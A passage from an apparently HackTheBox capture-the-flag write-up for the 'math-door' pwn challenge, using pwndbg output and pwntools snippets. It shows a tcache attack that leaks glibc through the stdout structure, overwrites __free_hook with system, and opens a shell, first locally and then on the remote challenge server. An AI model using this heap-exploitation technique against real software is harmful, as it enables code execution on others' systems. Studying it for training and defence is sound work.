0x557f047f20a0 <chunks+64>: 0x0000557f05e2d3a0 0x0000557f05e2d3c0
0x557f047f20b0 <chunks+80>: 0x0000557f05e2d3e0 0x0000557f05e2d400
0x557f047f20c0 <chunks+96>: 0x0000557f05e2d420 0x0000557f05e2d440
0x557f047f20d0 <chunks+112>: 0x0000557f05e2d460 0x0000557f05e2d480
0x557f047f20e0 <chunks+128>: 0x0000557f05e2d4a0 0x0000557f05e2d4c0
0x557f047f20f0 <chunks+144>: 0x0000557f05e2d4e0 0x0000557f05e2d500
0x557f047f2100 <chunks+160>: 0x0000557f05e2d520 0x0000557f05e2d540
0x557f047f2110 <chunks+176>: 0x0000557f05e2d560 0x0000557f05e2d580
0x557f047f2120 <chunks+192>: 0x0000557f05e2d5a0 0x0000557f05e2d5c0
0x557f047f2130 <chunks+208>: 0x0000557f05e2d5e0 0x0000557f05e2d600
0x557f047f2140 <chunks+224>: 0x0000557f05e2d620 0x0000557f05e2d640
0x557f047f2150 <chunks+240>: 0x0000557f05e2d660 0x0000557f05e2d680
0x557f047f2160 <chunks+256>: 0x0000557f05e2d6a0 0x0000557f05e2d6c0
0x557f047f2170 <chunks+272>: 0x0000557f05e2d6e0 0x0000557f05e2d700
0x557f047f2180 <chunks+288>: 0x0000557f05e2d720 0x0000557f05e2d740
0x557f047f2190 <chunks+304>: 0x0000557f05e2d2a0 0x0000557f05e2d310
0x557f047f21a0 <chunks+320>: 0x0000557f05e2d460 0x0000557f05e2d090
0x557f047f21b0 <chunks+336>: 0x0000557f05e2d320 0x00007fe5508f56b8
0x557f047f21c0 <chunks+352>: 0x0000000000000000 0x0000000000000000
0x557f047f21d0 <chunks+368>: 0x0000000000000000 0x0000000000000000
0x557f047f21e0 <chunks+384>: 0x0000000000000000 0x0000000000000000
0x557f047f21f0 <chunks+400>: 0x0000000000000000 0x0000000000000000
0x557f047f2200 <chunks+416>: 0x0000000000000000 0x0000000000000000
0x557f047f2210 <chunks+432>: 0x0000000000000000 0x0000000000000000
0x557f047f2220 <chunks+448>: 0x0000000000000000 0x0000000000000000
0x557f047f2230 <chunks+464>: 0x0000000000000000 0x0000000000000000
0x557f047f2240 <chunks+480>: 0x0000000000000000 0x0000000000000000
0x557f047f2250 <chunks+496>: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x00007fe5508f56b8
0x7fe5508f56b8 <_IO_2_1_stdout_+24>: 0x00007fe5508f5723 0x00007fe5508f5723
0x7fe5508f56c8 <_IO_2_1_stdout_+40>: 0x00007fe5508f5723 0x00007fe5508f5723
Notice that there are two create(p)
because the first one puts the Glibc address into the head of the Tcache, and the next one uses that address to allocate the chunk. As a result, now the head of the Tcache points to 0x00007fe5508f5723
(which is the value at the bottom-left corner, not the current value at &stdout + 0x18
):
pwndbg> tcachebins
tcachebins
0x20 [ 1]: 0x7fe5508f5723 (_IO_2_1_stdout_+131) ◂— 0x8f67e0000000000a /* '\n' */
The next chunk to save for later use is one at __free_hook
, so let’s compute the offset:
pwndbg> p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7fe5508f6e48 <__free_hook>
pwndbg> p/x 0x7fe5508f6e48 - 0x7fe5508f5723
$2 = 0x1725
So this explains the following snippet:
add_value(p, M + 3, 0x1725, 0, 0)
create(p) # M + 6: &__free_hook
Finally, let’s modify the write_ptr
value to leak memory addresses (as said before):
add_value(p, M + 5, 0, 0, 0x20) # read_base, write_base, write_ptr
p.recvline()
p.interactive()
We will have these leakage:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 375902
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '375902', '-x', '/tmp/pwnpvmho3a0.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
\x00\x00\xe0w\xdd\xc8W\x7f\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x80X\xdd1. Create
2. Delete
3. Add value
Action:
$
We see that \xe0w\xdd\xc8W\x7f
is an address within Glibc. Also notice the \xff
bytes. This might look familiar, and in fact it is the stdout
structure:
pwndbg> x/28gx &_IO_2_1_stdout_
0x7f57c8dd66a0 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f57c8dd6723
0x7f57c8dd66b0 <_IO_2_1_stdout_+16>: 0x00007f57c8dd6723 0x00007f57c8dd6723
0x7f57c8dd66c0 <_IO_2_1_stdout_+32>: 0x00007f57c8dd6723 0x00007f57c8dd6723
0x7f57c8dd66d0 <_IO_2_1_stdout_+48>: 0x00007f57c8dd6723 0x00007f57c8dd6723
0x7f57c8dd66e0 <_IO_2_1_stdout_+64>: 0x00007f57c8dd6724 0x0000000000000000
0x7f57c8dd66f0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7f57c8dd6700 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f57c8dd5980
0x7f57c8dd6710 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7f57c8dd6720 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007f57c8dd77e0
0x7f57c8dd6730 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f57c8dd6740 <_IO_2_1_stdout_+160>: 0x00007f57c8dd5880 0x0000000000000000
0x7f57c8dd6750 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7f57c8dd6760 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7f57c8dd6770 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007f57c8dd24a0
Specifically, the leak indicated above corresponds to 0x00007f57c8dd77e0
, whose offset to Glibc base address is 0x1ee7e0
:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x561f31ded000 0x561f31dee000 r--p 1000 0 ./math-door
0x561f31dee000 0x561f31def000 r-xp 1000 1000 ./math-door
0x561f31def000 0x561f31df0000 r--p 1000 2000 ./math-door
0x561f31df0000 0x561f31df1000 r--p 1000 2000 ./math-door
0x561f31df1000 0x561f31df2000 rw-p 1000 3000 ./math-door
0x561f31df2000 0x561f31df4000 rw-p 2000 5000 ./math-door
0x561f32a87000 0x561f32aa8000 rw-p 21000 0 [heap]
0x7f57c8be7000 0x7f57c8be9000 rw-p 2000 0 [anon_7f57c8be7]
0x7f57c8be9000 0x7f57c8c0b000 r--p 22000 0 ./libc.so.6
0x7f57c8c0b000 0x7f57c8d83000 r-xp 178000 22000 ./libc.so.6
0x7f57c8d83000 0x7f57c8dd1000 r--p 4e000 19a000 ./libc.so.6
0x7f57c8dd1000 0x7f57c8dd5000 r--p 4000 1e7000 ./libc.so.6
0x7f57c8dd5000 0x7f57c8dd7000 rw-p 2000 1eb000 ./libc.so.6
0x7f57c8dd7000 0x7f57c8ddd000 rw-p 6000 0 [anon_7f57c8dd7]
0x7f57c8ddd000 0x7f57c8dde000 r--p 1000 0 ./ld.so
0x7f57c8dde000 0x7f57c8e01000 r-xp 23000 1000 ./ld.so
0x7f57c8e01000 0x7f57c8e09000 r--p 8000 24000 ./ld.so
0x7f57c8e0a000 0x7f57c8e0b000 r--p 1000 2c000 ./ld.so
0x7f57c8e0b000 0x7f57c8e0c000 rw-p 1000 2d000 ./ld.so
0x7f57c8e0c000 0x7f57c8e0d000 rw-p 1000 0 [anon_7f57c8e0c]
0x7ffe1be91000 0x7ffe1beb2000 rw-p 21000 0 [stack]
0x7ffe1bf53000 0x7ffe1bf57000 r--p 4000 0 [vvar]
0x7ffe1bf57000 0x7ffe1bf59000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> p/x 0x00007f57c8dd77e0 - 0x7f57c8be9000
$1 = 0x1ee7e0
Now we can take this output and calculate the base address:
data = p.recvline()
index = data.index(b'\x7f') + 1
glibc_leak = u64(data[index - 6 : index].ljust(8, b'\0'))
p.info(f'Glibc leak: {hex(glibc_leak)}')
glibc.address = glibc_leak - 0x1ee7e0
p.success(f'Glibc base address: {hex(glibc.address)}')
And everything is perfect:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 380534
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '380534', '-x', '/tmp/pwnktj_cn67.gdb']
[+] Waiting for debugger: Done
[*] Glibc leak: 0x7f17763707e0
[+] Glibc base address: 0x7f1776182000
[*] Switching to interactive mode
2. Delete
3. Add value
Action:
$
Getting RCE
This part is easy because we already have a chunk at __free_hook
:
pwndbg> x/64gx &chunks
0x55d9349ee060 <chunks>: 0x000055d9350332a0 0x000055d9350332c0
0x55d9349ee070 <chunks+16>: 0x000055d9350332e0 0x000055d935033300
0x55d9349ee080 <chunks+32>: 0x000055d935033320 0x000055d935033340
0x55d9349ee090 <chunks+48>: 0x000055d935033360 0x000055d935033380
0x55d9349ee0a0 <chunks+64>: 0x000055d9350333a0 0x000055d9350333c0
0x55d9349ee0b0 <chunks+80>: 0x000055d9350333e0 0x000055d935033400
0x55d9349ee0c0 <chunks+96>: 0x000055d935033420 0x000055d935033440
0x55d9349ee0d0 <chunks+112>: 0x000055d935033460 0x000055d935033480
0x55d9349ee0e0 <chunks+128>: 0x000055d9350334a0 0x000055d9350334c0
0x55d9349ee0f0 <chunks+144>: 0x000055d9350334e0 0x000055d935033500
0x55d9349ee100 <chunks+160>: 0x000055d935033520 0x000055d935033540
0x55d9349ee110 <chunks+176>: 0x000055d935033560 0x000055d935033580
0x55d9349ee120 <chunks+192>: 0x000055d9350335a0 0x000055d9350335c0
0x55d9349ee130 <chunks+208>: 0x000055d9350335e0 0x000055d935033600
0x55d9349ee140 <chunks+224>: 0x000055d935033620 0x000055d935033640
0x55d9349ee150 <chunks+240>: 0x000055d935033660 0x000055d935033680
0x55d9349ee160 <chunks+256>: 0x000055d9350336a0 0x000055d9350336c0
0x55d9349ee170 <chunks+272>: 0x000055d9350336e0 0x000055d935033700
0x55d9349ee180 <chunks+288>: 0x000055d935033720 0x000055d935033740
0x55d9349ee190 <chunks+304>: 0x000055d9350332a0 0x000055d935033310
0x55d9349ee1a0 <chunks+320>: 0x000055d935033460 0x000055d935033090
0x55d9349ee1b0 <chunks+336>: 0x000055d935033320 0x00007f177636f6b8
0x55d9349ee1c0 <chunks+352>: 0x00007f1776370e48 0x0000000000000000
0x55d9349ee1d0 <chunks+368>: 0x0000000000000000 0x0000000000000000
0x55d9349ee1e0 <chunks+384>: 0x0000000000000000 0x0000000000000000
0x55d9349ee1f0 <chunks+400>: 0x0000000000000000 0x0000000000000000
0x55d9349ee200 <chunks+416>: 0x0000000000000000 0x0000000000000000
0x55d9349ee210 <chunks+432>: 0x0000000000000000 0x0000000000000000
0x55d9349ee220 <chunks+448>: 0x0000000000000000 0x0000000000000000
0x55d9349ee230 <chunks+464>: 0x0000000000000000 0x0000000000000000
0x55d9349ee240 <chunks+480>: 0x0000000000000000 0x0000000000000000
0x55d9349ee250 <chunks+496>: 0x0000000000000000 0x0000000000000000
pwndbg> x 0x00007f1776370e48
0x7f1776370e48 <__free_hook>: 0x0000000000000000
So, we only need to enter the address of system
(no offsets needed because the current value here is 0
). Then, we will enter "/bin/sh\0"
as a number in any chunk, so that calling free
on it will actually call system
on the chunk, which will contain the string "/bin/sh\0"
.
add_value(p, M + 6, glibc.sym.system, 0, 0)
add_value(p, 25, u64(b'/bin/sh\0'), 0, 0)
delete(p, 25)
p.recv(timeout=2)
p.interactive()
And with this, we get a shell locally:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 385181
[*] Glibc leak: 0x7f8fdee167e0
[+] Glibc base address: 0x7f8fdec28000
[*] Switching to interactive mode
$ whoami
rocky
Flag
Let’s go remote:
$ python3 solve.py 68.183.45.143:32186
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 68.183.45.143 on port 32186: Done
[*] Glibc leak: 0x7f2c8d1e67e0
[+] Glibc base address: 0x7f2c8cff8000
[*] Switching to interactive mode
$ ls
bin
dev
flag.txt
ld.so
lib
lib32
lib64
libc.so.6
math-door
$ cat flag.txt
HTB{y0ur_m4th_1s_fr0m_4n0th3r_w0rld!}
The full exploit code is here: solve.py
.